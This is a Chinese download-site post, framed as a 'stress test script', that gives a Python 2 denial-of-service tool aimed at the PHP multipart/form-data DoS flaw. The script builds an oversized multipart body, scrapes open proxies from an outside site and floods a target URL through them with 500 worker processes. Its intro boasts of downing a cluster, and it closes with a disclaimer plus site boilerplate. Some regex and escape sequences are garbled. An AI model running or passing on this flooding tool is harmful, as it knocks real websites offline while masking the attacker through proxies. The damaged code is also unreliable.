python压力测试脚本

作者 : 小优 本文共3175个字,预计阅读时间需要8分钟 发布时间: 2020-12-15 共3.16K人阅读

Python压力测试脚本,10M/S带宽秒杀集群Google 现查的,利用 PHP Multipart / form-data远程dos漏洞。

使用方法

将以下内容保存成 test.py 文件,执行 python test.py -t “http://网站” 请勿输入其他人的网站。

去掉此段注释以运行脚本,Remove this comment to run script

import sys
import urllib,urllib2
import datetime
import re
import os
import threading
import time
import random   
from optparse import OptionParser
from multiprocessing import Pool
  
def check_php_multipartform_dos(url,post_body,headers,ip):
    proxy_handler = urllib2.ProxyHandler({"http" : ip})
    null_proxy_handler = urllib2.ProxyHandler({})
    opener = urllib2.build_opener(proxy_handler)
    urllib2.install_opener(opener)
    req = urllib2.Request(url)
    for key in headers.keys():
        req.add_header(key,headers[key])
    starttime = datetime.datetime.now();
    fd = urllib2.urlopen(req,post_body)
    html = fd.read()
    endtime = datetime.datetime.now()
    usetime=(endtime - starttime).seconds
    if(usetime > 5):
        result = url+" is vulnerable";
    else:
        if(usetime > 3):
            result = "need to check normal respond time"
    return [result,usetime]
#end
  
def get_stock_html(URL):
        opener = urllib2.build_opener(
                urllib2.HTTPRedirectHandler(),
                urllib2.HTTPHandler(debuglevel=0),
                )
        opener.addheaders = [
                ('User-agent',
                 'Mozilla/4.0 (compatible;MSIE 7.0;'
                 '<a href="http://www.11px.cn/tags/windows/" target="_blank">Windows</a> NT 5.1; .NET CLR 2.0.50727;'
                 '.NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
                 ]
        url = "http://proxy.com.ru/%s"%URL
        response = opener.open(url)
        return ''.join(response.readlines())
  
def Getting_Url():
        global CC_Url
        file = open('url','r')
        CC_Url = file.readlines()
        file.close()
  
def Getting_list():
        global IP_Port
        IP_Port = []
        for html_list in re.findall('list_d+.html',get_stock_html("list_1.html")):
                print "getting %s's IP:PORT"%html_list
                IP_Port += eval(re.sub('</td><td>',':',"%s"%re.findall('d+.d+.d+.d+</td><td>d+',get_stock_html(html_list))))
  
def main():
    parser = OptionParser()
    parser.add_option("-t", "--target", action="store", 
                  dest="target", 
                  default=False, 
          type="string",
                  help="test target")
    (options, args) = parser.parse_args()
    target = options.target
  
    Num=350000
    headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
            'Accept-Encoding':'gzip, deflate',
            'User-Agent':'Mozilla/5.0 (<a href="http://www.11px.cn/tags/windows/" target="_blank">Windows</a> NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'}
    body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1nContent-Disposition: form-data; name="file"; filename=sp.jpg"
    payload=""
    for i in range(0,Num):
        payload = payload + "an"
    body = body + payload;
    body = body + "Content-Type: application/octet-streamrnrndatadatarn------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
    print "starting...";
    Getting_list()
    pool = Pool(500)
    for ip in IP_Port:
        pool.apply_async(check_php_multipartform_dos, [target,body,headers,ip])
    pool.close()
    pool.join()
  
if __name__=="__main__":
    main()

 

注意:此工具造成的任何后果由使用者自行承担

资源下载说明

请使用百度网盘下载资源,请不要在线解压!

1.人民币与U币汇率为1比10,即1元=10U币.有任何疑问请联系客服处理!
2.请记住本站永久网址发布页:http://uuscw.com
3.本站资源大多存储在云盘,如发现链接失效请在下方评论留言,作者看到后会第一时间更新补链。
4.关于解压密码错误或者资源损坏,请查看解压教程:[必看]关于资源教程及常见问题
5.本站大部分资源解压密码均为: uuscw.com 如密码有误,请查看原帖的资源说明!

免责申明:
1.如果服务器暂不能下载请稍后重试!总是不能下载,请联系客服,谢谢合作!
2.本站所有资源(包括写真、模板、素材、软件、字体等)仅供学习与参考,请勿用于商业用途。
3.本站所有素材来源于用户上传和网络,如有侵权请请联系客服处理!
4.本站资源售价只是赞助,收取费用仅维持本站的日常运营所需。
博创云素材 » python压力测试脚本

常见问题FAQ

免费下载或者VIP会员专享资源能否直接商用?
本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
提示下载完但解压或打开不了?
最常见的情况是下载不完整: 可对比下载完压缩包的与网盘上的容量,若小于网盘提示的容量则是这个原因。这是浏览器下载的bug,建议用百度网盘软件或迅雷下载。 若排除这种情况,可在对应资源底部留言,或 联络我们。

发表评论